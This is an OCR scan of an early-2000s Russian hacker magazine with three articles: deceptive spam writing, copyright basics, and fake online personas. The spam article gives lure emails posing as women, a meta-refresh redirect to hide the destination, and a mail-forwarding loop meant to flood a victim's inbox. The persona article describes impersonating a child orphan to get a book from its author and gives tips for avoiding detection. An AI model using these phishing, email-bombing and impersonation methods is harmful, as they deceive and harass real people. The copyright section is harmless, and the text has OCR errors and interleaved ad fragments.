тересовать содержимым и заставить пе- 
рейти по ссылке на свою пагу. Итак, по 
пунктам. 


ЗАГОЛОВОК 


Заголовок включает в себя информацию 
об отправителе (from) и тему сообщения 
(subject). Еще скачивая почту и не про- 
читав содержимое письма, получатель 
только по теме может решить, читать со- 
общение дальше или удалить без проч- 
тения. Поэтому не стоит писать в теме 


Спам (spam, junk mail, bulk mail) 
- массовая рассылка рекла- 
мных сообщений на почтовые 
ящики, в форумы или гостевые 
книги. Письмо приходит от не- 
известного дяди, но с навязчи- 
вым содержанием, при этом от- 
правителя совершенно не инте- 
ресует, нужно это тебе или нет. 
Чаще всего это коммерческая 
реклама, но иногда попадается 
агитация личных страничек, 
всевозможные письма счастья 


или банальные вирусы :). 


Наиболее эффективный способ 
борьбы со спамерами - фильт- 
рация входящих писем. А вот 
на соблазнительную ссылочку 
«нажмите сюда, чтобы пере- 
стать получать эти сообщения» 
лучше не тыкать. Ты станешь 
получать не меньше, а даже 
больше спама, чем до этого, по- 
казав спамеру, что твой ящик 
жив и читается. 
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«Посмотри мою nary», «Привет, приду- 
рок» или «Зайди, не пожалеешь», эти 
письма будут первыми претендентами 
на удаление. 


Также не стоит подписывать ящик ником 
или фамилией (отображается в поле 
from), они однозначно вызовут подозре- 
ние. Идеальный вариант - ограничиться 
именем, причем женским :). Большая 
часть активных инетчиков - мужики, а 
девчонки на женские имена все равно 
реагируют вполне адекватно. Тема пись- 
ма должна быть очень простой и житей- 
ской: 


- Привет от Маши! (должно соответство- 
вать имени, которым подписан ящик) 

- Скучаю... 

- Почему не пишешь? 

- Фото от Даши. 

- Куда пропал(а)? 

- Ты забыл(а) у меня свои носки (или трусы). ;) 


Наиболее предпочтительны однослож- 
ные и бесполые фразы, которые дают 
минимум информации, но интригуют и 
заставляют читать письмо дальше. При- 
держивайся правила: пиши такой заго- 
ловок, который заинтересовал бы тебя 
самого. 
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СОДЕРЖИМОЕ 


Сам текст письма - приманка, не более 
того. То есть много лапши и одна (или 
несколько) ссылка. И ни единого (!) 
слова про твою пагу. Далее встает во- 
прос, как начать письмо. Написать «это 
я» - не написать ничего :). Проще всего 
гнуть линию знакомства в чате, не ука- 
зывая, в каком именно и под каким ни- 
ком. Каждый второй (если не первый) 
просиживает в WEB или ТКС-чате штаны 
(или юбку), постоянно знакомится с но- 
выми собеседниками и чисто физиче- 
ски не способен запомнить всех тех, с 
кем общается. Пусть гадает :). Больше 
общих слов и юмора, больше неопреде- 
ленности и интриги. А ссылку нужно 
преподнести как ключ к разгадке этой 
маленькой тайны. Если сделать все гра- 
мотно, то никто не удержится от со- 
блазна узнать подробности. 


Кроме знакомства, в чате можно сослать- 
ся на якобы общих знакомых, указывая 
только имена. Имен не так много, так что 
в большинстве случаев ты попадешь в 
точку, если, конечно, не напишешь ред- 
ких имен типа Эльвиры или Гули :). 
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Не помешает надавить в письме на чув- 
ства, желания, соблазны :). Если ты даже 
неудачно попадешь с именем и текстом, 
то это может быть воспринято, как пись- 
мо кому-то другому. Любопытство сдела- 
ет свое дело :). 


Очень трудно написать письмо, адресо- 
ванное сразу парню и девчонке. Все 
равно будут глаголы, окончания которых 
придется явно определять. Варианта 
два: либо делать письмо максимально 
коротким, пытаясь сделать весь текст 
бесполым, либо делать его якобы от де- 
вушки. Если девушка девушке может 
что-то написать, то парень парню значи- 
тельно реже, и своих друзей парень зна- 
ет наизусть, а вот девчонок... ;). 


Но и тут все можно испортить одним не- 
верным движением. Если ты в письме 
пишешь, что тебя зовут Маша, а даешь 
ссылку Ha сайт http://alex.narod.ru, то 
идиоту понятно, что это обыкновенная 
подстава. Поэтому потрать лишнее время 
и зареги что-то типа http://masha.na- 
rod.ru, сделав адрес http://masha.na- 
rod.ru/photo/about.html. А уже оттуда 
сделай обычную переадресацию в нуж- 
ное место (<meta http-equiv=«refresh» 
content= «1;и/|=настоящий_урл»>). Вот 
и остерегайся после этого писем от вся- 
ких Маш ;). 
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ПРИМЕРЫ 


Если ты впитываешь хуже прокладок :), TO 
приведу тебе несколько наглядных при- 
меров. В них ты прочувствуешь, как надо 
писать и что берет за живое. Учись, сту- 
дент :). 


---------- Original Message---------- 
From: Любимая 
<natasha_in_love@mail.ru> 


To: are 
Subject: отсканила свое фото 


Привет! 


Надеюсь, еще меня не забыл? Мы тогда 
так долго болтали, ты обещал написать и 
не написал :(. Забыл почту или надоела? 
А может обиделся, что не смогла дать 
свою фотографию? Но у меня честно был 
сломан сканер. Специально на работе для 
тебя отсканировала и выложила на свою 
домашнюю страничку: 


http://natasha in love.narod.ru/ 
photo.html 


Не лучшего качества, HO зато одна из по- 
следних. В реале яеще лучше :). Не забы- 
вай, пиши! 


Анна <cutie_anna@yandex.ru> 
То: Е 
Subject: скучаю по тебе... 


Приветик! 


Не удивляйся, я сменила ящик, а от старо- 
го забыла пароль :). Хорошо, хоть твой не 
забыла. Ящик, в смысле :). Ты хоть скуча- 
ешь? Или уже забыл? Я была у подружки, 
фоток понаделала новых. Хочешь посмо- 
треть? Некоторые очень даже ничего ;). 


http://cutie_anna19.narod.ru/ 
hotos/photo7.html 


Ты когда, вообще, свободен? Может схо- 
дим куда? Жду ответа! 


---------- Original Message---------- 
Марина <marta813@yandex.ru> 


Привет. 


Мне твой адрес дала Ленка. Сказала, что с 
тобой весело. Вот. А мы тут собираемся 
небольшой компашкой на шашлыки, Лена 
тоже будет, решайся :). Идем в эти выход- 
ные, куда - пока решаем. Если есть идеи, 
пиши. По сколько денег и кто идет, смо- 
три тут: 


http://marta813.narod.ru/shashliki/ 
index.html 


Да, можешь с собой еще кого-нибудь из 
друзей взять, а то у нас перебор с девчон- 
ками :). Но только мирных и сильно не 
пьющих :). Короче, смотри, кто идет, зови 
друзей, и жду ответа! 


< 


УМНЫЙ СПАМ 


Вот в таком аспекте :). Напряги фанта- 
зию, и все будет чики-пуки. Но запомни - 
пользоваться грязными способами ра- 
скрутки надо осторожно, ибо если ты за- 
светишь свой настоящий адрес или ТР - 
неприятностей потом не оберешься. Так 
что береги себя и не поддавайся на под- 
лый спам. 


3.Ы. Кстати, я тут выложил свои свежие 
фотки на http://www.gagarinclub.ru/, 
может заглянешь? :))))) 


СПАМОВЫЙ УДАР НИЖЕ ПОЯСА 


Если спамеры достали тебя по самое не 
балуйся, есть одно эффективное лекар- 
ство. Регистрируешь максимально воз- 
можное количество ящиков на бесплат- 
ных почтовиках: 

spammer_dead@mail.ru, 
spammer_dead@yandex.ru, 
spammer_dead@rambler.ru, 
spammer_dead@inbox.ru, 
spammer_dead@newmaiL.ru, 
spammer_dead@pisem.net, 
spammer_dead@yahoo.com и т.д. 

Далее в настройках каждого ящика ста- 
вишь форвард на адрес жертвы и все 
остальные ящики. Получается замкнутый 
круг с печальными последствиями :). Что- 
бы шоу началось, посылаешь письмо на 
любой из этих ящиков. 


Не нужны ни скрипты, ни проги, ни шеллы, 
все настолько просто. Но проблема есть. 
Во-первых, ограничение ящика по объему 
- рано или поздно он переполнится, и про- 
цесс встанет, нужно будет его вычищать и 
запускать вечный двигатель заново. Во- 
вторых, многие бесплатные почтовые сер- 
вера уже испытали на своей шкуре этот 
прикол, поэтому при форварде посылают 
дополнительное письмо с подтверждени- 
ем форварда. Ищи почтовые сервера, ко- 
торым без разницы, куда и что форвар- 
дить, и отрывайся :). 
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СЕТЕВОЕ МОШЕННИЧЕСТВО 


ПРАВОВОЦ 


NUHBES) 


немного об авторском праве 


Ты не спал ночами, не ел, не мылся, просиживал драгоценное 
время за творением супер-мега-дизайна для своей хоумпэйдж, 
В TO время как все твои друзья смотрели ожесточенный матч 


Зенит - Спартак. И вот, наконец, он готов! Пришло время 


открыть твое чудо благородной публике... 


GLAZb (glazy@mail.ru) 


Но как же защитить свое детище, чтобы 
через несколько дней ты не обнаружил до 
боли знакомый диз в неположенном ему 
месте :)? Для этого есть Закон об авторс- 
ком праве. Страшно, да? Представляются 
суды, адвокаты, прокуроры... Забудь, это 
после. На самом деле, все гораздо проще. 
Слушай (т.е. читай), и все будет понятно. 


Закон 


Закон позволяет тебе иметь личные неи- 
мущественные и имущественные права. 
Не бойся, сейчас объясню, что к чему. 
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Неимущественные права - это TO, чем ты 
обладаешь морально. То есть гордость за 


твои труды. И никто эту гордость у тебя не 


отнимет! Эти права, помимо гордости, 
позволяют тебе признаваться в качестве 
автора. То есть ты всем своим подругам 
можешь разболтать, что диз сделал имен- 
но ты или статью написал именно ты. Мо- 


жешь решать, что с ним делать дальше. 
Далее ты можешь подписаться под своим 
дизайном как Вася Пупкин, а можешь как 


Марк Аврелий (если, конечно, этот псев- 


доним не зарегистрирован как товарный 
знак). Тоже решай сам. После того как ты 


пихнул дизайн в Инет, ты можешь его 


отозвать, если твои поклонники достали 
вопросами, как ты так умудрился его сде- 
лать. И в конце концов, ты можешь защи- 
щать свое детище от всяких уродов, кото- 
рые будут исправлять его, дополнять или 
оклеветывать его и тебя. Все это обеспе- 
чивают «моральные права». 

К имущественным относится то, на что ты 
можешь наложить свою грязную лапу. Ты 
можешь разрешить растиражировать свой 
дизайн или статью, как тебе захочется, мо- 
жешь побежать и кому-нибудь его продать 
или подарить, можешь где-нибудь напеча- 
тать. Если ты написал пьесу «Колобок 
против терминатора», то можешь ее сыг- 


Согласно статье 16 Закона РФ «Об 

авторском праве и смежных пра- 

вах» ты, создав любое произве- 
дение, обладаешь следующими 
правами: 

- воспроизводить произведение 
(право на воспроизведение); 

- изготовление одной или более 
его копий в материальной фор- 
ме; 

- распространять экземпляры 
произведения любым способом: 

- продавать, сдавать в прокат и 
так далее (право на распростра- 
нение); 

- импортировать экземпляры про- 
изведения в целях распростра- 
нения, включая экземпляры, из- 
готовленные с разрешения об- 
ладателя исключительных авто- 
рских прав (право на импорт); 

- публично показывать произве- 
дение (право на публичный по- 
каз); 

= публично исполнять произведе- 
ние (право на публичное испол- 
нение); 

- сообщать произведение (вклю- 
чая показ, исполнение или пере- 
дачу в эфир) для всеобщего све- 
дения путем передачи в эфир и 
(или) последующей передачи в 
эфир (право на передачу в 
эфир); 

- сообщать произведение (вклю- 


чая показ, исполнение или пере- 
дачу в эфир) для всеобщего све- 
дения по кабелю, проводам или 
с помощью иных аналогичных 
средств (право на сообщение 
для всеобщего сведения по ка- 
белю); 

- переводить произведение (пра- 
во на перевод); 

- переделывать, аранжировать 
или другим образом перераба- 
тывать произведение (право на 
переработку). 

А также всем объемом личных 

неимущественных прав, таких 

как: 

- право признаваться автором 
произведения (право авторства); 

- право использовать или разре- 
шать использовать произведе- 
ние под подлинным именем ав- 
тора, псевдонимом либо без 
обозначения имени, то есть ано- 
нимно (право на имя); 

- право обнародовать или разре- 
шать обнародовать произведе- 
ние в любой форме (право на 
обнародование), включая пра- 
во на отзыв; 

- право на защиту произведения, 
включая его название, от всякого 
искажения или иного посягатель- 
ства, способного нанести ущерб 
чести и достоинству автора (право 
на защиту репутации автора). 


рать в театре или рассказать по радио или 
телеку, можешь даже по кабельному ТВ 
или по Интернету это сделать, а можешь 
разрешить какому-нибудь ламерикосу пе- 
ревести свой мегатруд на японский язык. 
Вот сколько всего ты можешь сделать, сот- 
ворив свой труд. И ты всегда можешь рас- 
считывать на гонорар за него. Полный пе- 
речень смотри на врезке. 

Правда, если ты сотворил свое детище на 
работе, то имущественные права будут 
принадлежать твоему работодателю, но 
моральные права у тебя никто не отнимает. 


Практика 


Так где же мы можем зарегистрировать 
свой шедевр? Если речь идет о дизайне, 
то регистрировать его нигде не надо. Дос- 
таточно поставить в конце значок (с), 
твое имя и год первого издания. Если же 
ТЫ обновляешь СВОЙ диз ежеминутно, то 
ставишь период. После всего этого мо- 
жешь написать: «Найду любого козла, кто 
сопрет мой диз или его элементы. Жизнь 
сахаром не покажется!». Хотя можешь 
всего этого и не указывать, в любом слу- 
чае ты - правообладатель. Можешь смело 
бежать в суд. 


Авторское право, как талдычат 


во всех законах, возникает в 
момент создания продукта. 


Существует до фига организаций, кото- 
рые занимаются вопросами о правах ав- 
торов. В России это: 

- Российское авторское общество 
(РАО), www.rao.ru. Тут защищают твои 
права при использовании твоего шедевра 
по телеку, радио и другим средствам мас- 
совой информации. 

- Российское общество по мультимедиа 
и компьютерным сетям (POMC), 
www.roms.ru. Тут защищают права авто- 
ров и других M3HOB, чьи произведения 
крутятся в Инете. 

- Российское агентство по патентам и 
товарным знакам (www.rupto.ru). Ор- 
ган, на который возложена обязанность 
по управлению политикой нашей Родины 
в сфере авторских прав на интеллекту- 
альную собственность. 

Так что в эти организации ты можешь об- 
ращаться, если кто-нибудь тебя обидит. 


Вот, например, в РАО ты можешь зарегист- 
рировать свое произведение (у них это на- 
зывается «депонированием»). Но сначала 
надо определиться с термином «интеллек- 
туальная собственность», или, как еще на- 
зывают, «объект авторского права». 

Итак, интеллектуальная собственность - 
это все то, что ты надумал собственной 
репой. Т.е. продукт твоей мыслительной 
деятельности. Вот его все пытаются 
усердно защитить, так как у некоторых 
(как я) мозги варят отлично, а у некото- 
рых - так себе. Авторское право, как тал- 
дычат во всех законах, возникает в мо- 
мент создания продукта. То есть приду- 
мал - хоп, и сразу оно под защитой зако- 
на. Вот так! 

Но есть исключения. Не являются объек- 
тами авторского права идеи, методы, отк- 
рытия и т.д.; официальные документы 
(договоры); государственные символы, 


после того как они были приняты; произ- 
ведения народного творчества и инфор- 
мационные сообщения. 

При использовании твоего творения с то- 
бой обязательно должны заключить пись- 
менный договор, так как при договоре в 
устной форме не происходит никакая пе- 
редача авторских прав. Это в основном 
относится к размещению произведений 
на сайте в Инете. Это получается потому 
что, во-первых, лишаешься вещдоков, а 
во-вторых, не согласовываются другие 
пункты договора передачи авторских 
прав :(. 

И еще в Инет нельзя без разрешения пи- 
хать книги в электронном виде под видом 
электронной библиотеки. Как известно 
из закона, библиотекам разрешают ксе- 


Далее ты можешь подписаться 
под своим дизайном как 


Вася Пупкин, а можешь как 
Марк Аврелий. 


рануть книжки. Но он совершенно не раз- 
решает тебе оцифровать и выкладывать 
книги автора в Инет без договоренности с 
ним. Так что будь осторожен. 

Если захочешь открыть музыкальный пор- 
Tan, то тебе придется раскошелиться на 
вознаграждение исполнителям и объек- 
там смежных прав. Саму лицензию на отк- 
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ПРАВОВОЙ ЛИНБЕЗ 


рытие дадут бесплатно в РОМС. Так что 
дуй туда. 


Кстати, на правах можно заработать. Как? 
Ну, например, продавая права на пользо- 
вание произведением другим лицам. Для 
того чтобы не остаться в проигрыше, ты 
должен хорошо знать три момента: где 
хорошо платят, внимательно читать дого- 
воры, которые тебе суют, и как ты смо- 
жешь проконтролировать выполнение 
этого договора. Иногда лучше стать чле- 
ном какой-нить организации или ассоци- 
ации типа РАО или РОМС. 

Чтобы защитить свои права, ты должен: 
сначала знать их! Потом всем рассказать 
об этом. Иногда этим можно попугать :). 
Желательно, если ты заранее побеспоко- 
ишься о защите своих прав. Как ты зна- 
ешь, в последний момент метаться оказы- 
вается поздно. Тщательно проследи за 
составлением договора, лучше в присут- 
ствии юриста, и желательно своего :). 
Кстати, в суде у тебя есть большие шансы 
сдуть хорошую денежную пенку с нару- 
шителя прав. Это еще один стимул конт- 
ролировать выполнение авторских прав. 


Закругляюсь 


Ну вот, я рассказал тебе про твои права. 
Надеюсь они тебе помогут в твоем твор- 
честве. Удачи тебе. (с) 2002, GLAZb. 
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свежий взгляд на виртуалов 


mindwOrk (mindwOrk@mail.ru) 


За время обитания в сети я встречал много мнений о том, 
почему люди заводят виртуалов. «Потерянные, 


глубоконесчастные индивиды - они создают себе второе, 
менее ущербное Я», - радостно пишут бульварные журналюги, 
«Хитрожопые прыщавые малолетки, которым просто нефиг 


делать», - захлебываются разведенные юзвери, «Этим 
страдают больные шизофренией люди, лечением которых 
нужно заниматься всерьез», - авторитетно заключают 
психологи. Подобных мыслей много, но я редко встречал 


тексты, рассматривающие обратную сторону маски. 
Попытаюсь исправить это упущение. 


Красавицы и Джеймсы Бонды 


Виртуальными персонажами люди поль- 
зовались задолго до появления Интерне- 
та. Во времена первых телефонов наход- 
чивые приколисты сообразили, что сей 
девайс дает отличную возможность без- 
болезненно подшучивать над другими 
людьми. Иногда периодические пранки 
(prank - шутка, выходка) выливались в це- 
лое хобби, которому уделялось много 
времени. Телефонные хулиганы даже 
объединялись в группы, названивая по 
случайным номерам и разыгрывая целые 
представления по заранее оговоренному 
сценарию. С появлением «мостов» - теле- 
фонных конференций, где одновременно 
могли общаться несколько человек, вир- 
туальные персонажи стали обычным де- 
лом. Толстая домохозяйка могла предста- 
виться обворожительной красавицей и 
часами проводить время у телефона, ку- 
паясь во внимании галантных, представи- 
тельных поклонников. Поклонники - эти 
Джеймсы Бонды во плоти, в свою оче- 
редь, нередко оказывались закомплексо- 
ванными ребятами, прикованными к ин- 
валидной коляске или с рождения слепы- 
ми. Для многих людей, обделенных при- 
родной красотой и полноценностью, ма- 


ска виртуала давала то, чего они не могли 
получить в реальной жизни. 

В начале 80-х виртуалы стали появляться 
на станциях BBS. Компьютеры в это время 
только начинали завоевывать массовый 
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рынок, подавляющее большинство поль- 
зователей составляли молодые ребята, 
увлеченные электроникой и передовыми 
технологиями. Девушки на BBS встреча- 
лись крайне редко, поэтому пользовались 
огромной популярностью. Достаточно 
было назваться женским ником, как тебя 
сразу же окружали десятки потенциаль- 
ных бойфрендов. Крутить ими и наблю- 
дать за попытками сблизиться виртуаль- 
щикам было, несомненно, забавно. Да и 
полезно не меньше - достаточно только 
намекнуть о своей привлекательной 
внешности, голубых глазах и белокурых 
волосах, как новый приятель сразу выра- 
жал готовность оказать любую посильную 
ПОМОЩЬ. 


С тех пор прошло 20 лет. Глобальная пау- 
тина охватила весь мир, создав превос- 
ходные условия для общения и зна- 
комств. Вместе с тем, сделав возможной 
полную анонимность. Если раньше при 
желании можно было обличить виртуала, 
установив на компьютере борды АОН и 
перезвонить по зафиксированному номе- 
ру, сейчас, с бушующим разнообразием 
проксей и анонимайзеров, остается толь- 
ко полагаться на свою подозрительность, 
наблюдательность и знание психологии. 
С ростом популярности и доступности се- 
ти непрерывно растет количество людей, 
веселящихся за счет доверчивых сосе- 
дей. 


Виртуальный синдром 

Помнится, в старой доброй фидошке, году 
эдак в 97-ом, виртуалы были чем-то но- 
вым, а сами виртуальщики бережно забо- 
тились о своих «питомцах». Влада Став- 
ски, Габбин, Джон Пупков, Сергей Кравец, 
Валя Ботева, Иван Сидорофф - своих ге- 
роев страна знала наперечет. Сейчас ма- 
Ску надевают все, кому не лень. Достаточ- 
но зайти на любой Www чат типа кроват- 
ки.ру, и там тебя встретят сотни женских 
ников, предлагающих развлечься в при- 
вате. Можно кричать об аморальности и 
падении нравов, но если разобраться - 
никто от этого особо не страдает. При хо- 
рошей актерской игре для окружающих 
разницы, кто ты есть на самом деле, нет 
никакой. Они просто будут воспринимать 
тебя как твоего героя и обращаться соот- 
ветственно. В то же время игра в виртуа- 
лов - весьма увлекательна, хорошо разви- 
вает фантазию и нередко помогает разо- 
браться в себе. 


Поводов для создания виртуала много. 
Одни заводят второе Я, чтобы просто по- 
забавиться и понаблюдать за реакцией 
людей, другие ставят целью воспитание 
новой яркой личности, в руках третьих 
это инструмент для эффективного реше- 
ния определенных задач (например, по- 
лучения информации, которую при обыч- 
ных условиях не достать). Наверное, всем 
нам порой хочется вжиться в чью-то роль, 
почувствовать себя актерами. Виртуаль- 
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ные персонажи для этого подходят как 
нельзя лучше. Можно стать кем угодно и, 
имея немножко фантазии, обыграть лю- 
бые сцены. Робкие юноши превращаются 
в крутых мачо, интеллигенты надевают 
маску злостного флеймера (Добрянский, 
ку-ку!), мужчины чувствуют себя женщи- 
нами, женщины - мужчинами. С ПОМОЩЬЮ 
своего протеже ты можешь высказать все, 
что хочешь, и вести себя, как взбредет в 
голову, не стесняясь знакомых, не рискуя 
сложившимся авторитетом. Да и просто 
интересно это - своими руками создавать 
новую жизнь. 


Последнее время стало модным заселять 
виртуалами страницы онлайновых днев- 
ников типа livejournal.com. Причем неко- 
торые люди настолько входят в роль, что 
каждый день выписывают события, про- 
исходящие с их героями, мысли, посе- 
щающие их виртуальные головы. Я даже 
знаю одного человека, который добросо- 
вестно публиковал подобные мемуары на 
протяжении двух лет! В чатах сплошь и 
рядом происходят случаи общения вирту- 
алов друг с другом. Виртуал Коля Пере- 
делкин признается в любви виртуалке 
Лене Недоделкиной, которая, в свою оче- 
редь, благосклонна к Васе Длинностволо- 
ву. Нередко всем этим виртуальным спек- 
таклем управляет один человек, а разы- 
грываемые им сцены дадут фору голли- 
вудским блокбастерам. 
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ПО ТУ СТОРОНУ МАСКИ 


Если отбросить всех Оль и Мань, собран- 
ных за минуту на коленке, то хозяева та- 
ких персонажей - чаще всего люди твор- 
ческие. Для них жизнь в маске - способ 
самовыражения, возможность обыграть 
новые, интересные ситуации. 


Виртуалы в действии 


Помимо эстетического удовольствия, вир- 
Туалы могут стать незаменимым помощ- 
НИКОМ В быстром решении некоторых за- 
дач. Года полтора назад я решил пощу- 
пать прелести МИУВов (текстовая мульт- 
иплеерная игра) и подсел на мир Аладо- 
на. В качестве персонажа выбрал симпа- 
тичную воровку, во всех подробностях 
вписал ей сказочные внешние данные и 
отправился покорять новые земли. По за- 
конам жанра нужно было бы убивать мон- 
стров, по крохам собирать снаряжение, 
искать по всему белу свету приличные 
шмотки. Моя Асси в первый же день ра- 
скачалась необычайно быстро и поимела 
самые редкие вещи для своего уровня. 
Достаточно было определить самого мощ- 
ного чара и со скорбью поведать ему о тя- 
желой судьбе начинающей адомщицы в 
таком сложном мире, как Аладон. Ессно, 
не без кокетства и многообещающих 
смайликов. В результате оставалось толь- 
ко разгребать принесенное добро и кучи 
золота от заботливого 47-уровневого че- 
ла. Через неделю хрупкая Асси стала од- 
ной из самых влиятельных фигур, имея в 
своем распоряжении пятерых крутейших 
телохранителей, готовых на все. Никто не 
имел ни малейшего сомнения, что воров- 
ку играет столь же привлекательная ре- 
альная девушка. Хотя соотношение пар- 
ней к девушкам за последнее время зна- 
чительно сократилось, мужики по-преж- 
нему являются доминирующей интернет- 
расой. Молоденьких симпатичных бары- 
шень на всех не хватает, отсюда и повы- 
шенный спрос, рождающий конкуренцию, 
а как следствие - борьбу за внимание и 
благосклонность. 


Если ты считаешь, что игровые шмотки - 
все, на что можно рассчитывать, исполь- 
зуя виртуала, то глубоко ошибаешься. Не- 
давно я по всему Интернету искал одну 
книгу о секретах свободной журналисти- 
ки (freelance writing). Лучшая в своем ро- 


page O49 


te 


ЭТО МОЖЕТ 


OLS (ee) ee Ee 


rae ИВМ 


— Что из железа ты можешь a we 
вживить себе уже сегодня . 
` Разбор карт ‘М 
> 

— VISA Electron с кредитным 


дампом против эмбоссиро- 
ванных карточек 


Культ 00/00 


— Разговор с самой авторитетной 
и влиятельной security—rpynnon 


— Иеще раз о вечно живой 
теме халявного интернета 


— История жизни легендарного 
хакера 


Взгляд на ICQ из Берн: _ | 


— Стань профессиональным 
спамером безо всяких усилий 


> Тонкое счастье 0 


— Обзор компактных ноутбуков 


38D Mark 2003: Популярный бенчмарк для 
тестирования новейших видеокарт + Свежие версии 
альтернативных браузеров: Opera, Mozilla, Netscape - 
Лучшие бесплатные антивирусы + LIVES: Программа 
для редактирования видео под Linux Наборы 
кодеков и универсальные перекодировщики 

GNOME 2.2: Новая версия популярного менеджера 
окон Софт для взлома игр Самые свежие 
драйвера + "Тяжелая" музыка 
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де, но доступная только Ha amazon.com за 
15$. Ввязываться в заморочки с пересы- 
лкой платежей не хотелось, да и цена за 
200-страничную брошюрку для провин- 
циального русского студента кусается, по- 
этому я пошел по другому пути. Узнал 
емейл автора книги - ею оказалась жен- 
щина средних лет, мать двоих детей - и 
послал ей письмо от имени маленькой де- 
вочки Оли. Мол, здравствуйте, тетенька, 
мне 13 лет, я из сиротского приюта, меч- 
таю стать журналисткой, уже даже публи- 
ковалась в местной детдомовской газет- 
ке... в Интернете вот нашла информацию 
про вашу книжечку и очень-очень захоте- 
ла ее прочитать. Дальше шла большая 
просьба прислать ее в электронном виде 
С заверением, что при первом получен- 
ном гонораре деньги прилетят первым 
рейсом. Книга пришла через два дня. 
Многочисленным читателям, которые ус- 
мотрели в этом низость, предлагаю по- 
смотреть на поступок с другой стороны. 
Тетя живет в Америке, зарабатывает при- 
личные даже по тамошним меркам день- 
ги. 15 долларов каши не сварят, ей нам- 
ного больше удовольствия доставила 
мысль, что удалось помочь бедному ре- 
бенку из России (а я уж постарался, что- 
бы ребенок в ответном письме выглядел 
максимально счастливым и благодар- 
ным). Я же при минимальных затратах 
времени и сил получил необходимую мне 
вещь. Все довольны, спасибо Оле. С помо- 
щью подставных лиц можно совершать 
всевозможные проверки, создавать ил- 
люзии определенного отношения к тебе 
людей, проворачивать сложные аферы. 
Правда, все это - тема уже для другой 
статьи. 


Какие бы перспективы ни открывали пе- 
ред тобой твои виртуальные персонажи, 
никогда не наглей и не перегибай палку. 
Одно дело вежливо попросить книжку, 
совсем другое - тысячу долларов для яко- 
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бы детского садика. За второе могут ре- 
ально посадить. И еще, делай все воз- 
можное, чтобы человек, который поверил 
в твоего виртуала и пошел ему навстречу, 
сам не остался в накладе. 

Обязательно поблагодари, оставь хоро- 
шие впечатления. И уж, конечно, не нуж- 
но после удавшейся аферы орать в ответ 
со своего реального имени: «Гы-гы, лопух, 
развел я тебя!» - это последнее дело. 


Обманывать людей в Интернете - очень 
просто. Все мы изначально предрасполо- 
жены к доверию, нам легче поверить в 
реальность собеседника, чем как-то про- 
верить и обличить его. Но, несмотря на 
это, иногда достаточно сделать один не- 
верный шаг, сказать не то слово, и все 
поймут, что ты не тот, за кого себя выда- 
ешь. А это может повлечь за собой любые 
последствия, вплоть до навязчивой идеи 
тебе жестоко отомстить. Чтобы подобно- 
го не произошло и тебя не раскусили, 
нужно следовать нескольким правилам. 

Во-первых, ты должен четко представлять, 
кого играешь. Возьмем вышеупомянутую 
девочку Олю. Согласись, было бы странно, 
если бы детдомовский 13-летний ребенок 
писАл на блестящем английском и строил 
умные предложения. Но если маленькая 
Оленька допускает множество граммати- 
ческих ошибок, излагает мысли простыми 
односложными фразами и горит детским 
энтузиазмом - это уже больше похоже на 
истину. Так же и в отношении любого дру- 
гого персонажа. Подумай, как бы ты вел 
себя на его месте, постарайся его понять и 
войти в роль. Для этого можно вспомнить 
похожих риаллайфовых людей того же 
возраста или вообще создать новое про- 
теже, взяв за основу одного из своих зна- 
комых. Для большей реалистичности нуж- 
но наделить виртуала индивидуально- 
стью. Придумай ему историю, личную 
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должно быть уместно и проскакивать по 
ходу дела. 
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Хорошим оружием против виртуала мо- 
жет стать блеф. Недавно в одном местном 
чате я прижал к стенке «студентку» тако- 
го-то ВУЗа заверением, что сам учусь в 
этом универе на том же факультете и в 
упор не помню фамилии Дроздова среди 
студенток (хотя всех, мол, знаю). Парень 
тут же потерялся и, бросив что-то невнят- 
ное, ретировался с канала. Не допускай 
таких промахов. Вполне возможно, что 
тебя просто проверяют на прочность, так 
что на любую пахнущую блефом фразу 
сразу давай уверенный ответ. В нашем 
случае вполне достаточно было: «Я учусь 
на заочном». Если кто-то таки выражает 
большое сомнение в реальности твоего 
персонажа - не нужно кидаться тут же до- 
казывать ему обратное или, чего доброго, 
тыкать в лицо какими-то фактами. Сомне- 
вается - хрен с ним, пусть сомневается. 
Главное, что ты не сомневаешься в реаль- 
ности своего виртуала :) 
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Ладно, хватит с тебя, пожалуй, советов. 
Заводить или не заводить виртуальное 
протеже - решай сам. Ничего ненормаль- 
ного, как кричат некоторые, в этом нет. 
Наоборот - если удалось создать интерес- 
ную, яркую личность, обыгрывать ее до- 
ставит тебе немало увлекательных минут. 
Плюс, как я уже говорил, подобное вре- 
мяпрепровождение неплохо развивает 
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жизнь, привычки, увлечения. Если ты бу- 
дешь все сочинять на ходу, окружающие 
легко поймают тебя на несоответствиях. 
Чем больше у твоего героя будет жизнен- 
ных черт, тем лучше. И не надо заводить 
имен вроде: Боря Тараканов или Андрюха 
Клявин. Выбирай что-то не слишком 
приевшееся, но и не чересчур экзотиче- 
ское. Сергей Логинов, Дима Подгурский и 
Лена Анищенко будут в самый раз. 


или часто пользуйся троеточием). Иногда, 
как бы между прочим, вставляй в речь 
фразы, говорящие в пользу достоверно- 
сти персонажа. Если играешь врача - об- 
рони ненароком популярную среди меди- 
ков шутку, если ты - юная особа, дай лю- 
дям понять о наличие в голове неизмен- 
ных тараканов («У меня куча парней», 
«Парень должен всегда платить за девуш- 
ку»). Только ничего не навязывай - все 


творческие навыки. Только не злоупотре- 
бляй виртуальными играми. Будет весьма 
печально, если в один прекрасный день 
ты, забыв выйти из роли, наденешь в 
риаллайфе юбочку, напомадишь губки, 
напудришь носик и, виляя попкой, пой- 
дешь на дискотеку знакомиться с круты- 
ми пацанами. 


= 


== 


Так как виртуал обитает в сети, то и атри- 
буты должен иметь соответствующие - в 
обязательном порядке емейл (в отличном 
от твоего реального мыла домене), аська, 
можно даже простенькую страничку на 
халявном серваке сваять. Особо насторо- 
женные субъекты вроде меня при первых 
подозрениях кинутся проверять твоего 
альтер эго в сети. Чтобы убедить их в ре- 
альности персонажа, оставь несколько 
следов в случайных местах. Например, 
если ты обыгрываешь молоденькую дев- 
чушку Свету, зайди на какой-нибудь жен- 
ский форум и кинь там объявление от ее 
имени. Что-то типа: «У меня начались ме- 
сячные, посоветуйте таблетку от диском- 
форта» :). Лично я ищу в первую очередь 
по электронному адресу (в Инете полно 
однофамильцев), так что позаботься о его 
наличие в подписи. Если виртуал появля- 
ется в том месте, где тебя хорошо знают, 
нужно обратить внимание на все детали. 
Твои смайлики, манера высказывания, 
слова-паразиты, приевшиеся опечатки, 
стиль оформления текстов (многие, к 
примеру, начинают все предложения с 
маленькой буквы) - все это может выдать 
тебя с головой. Более того, именно на эти 
мелочи будут обращать внимание твои 
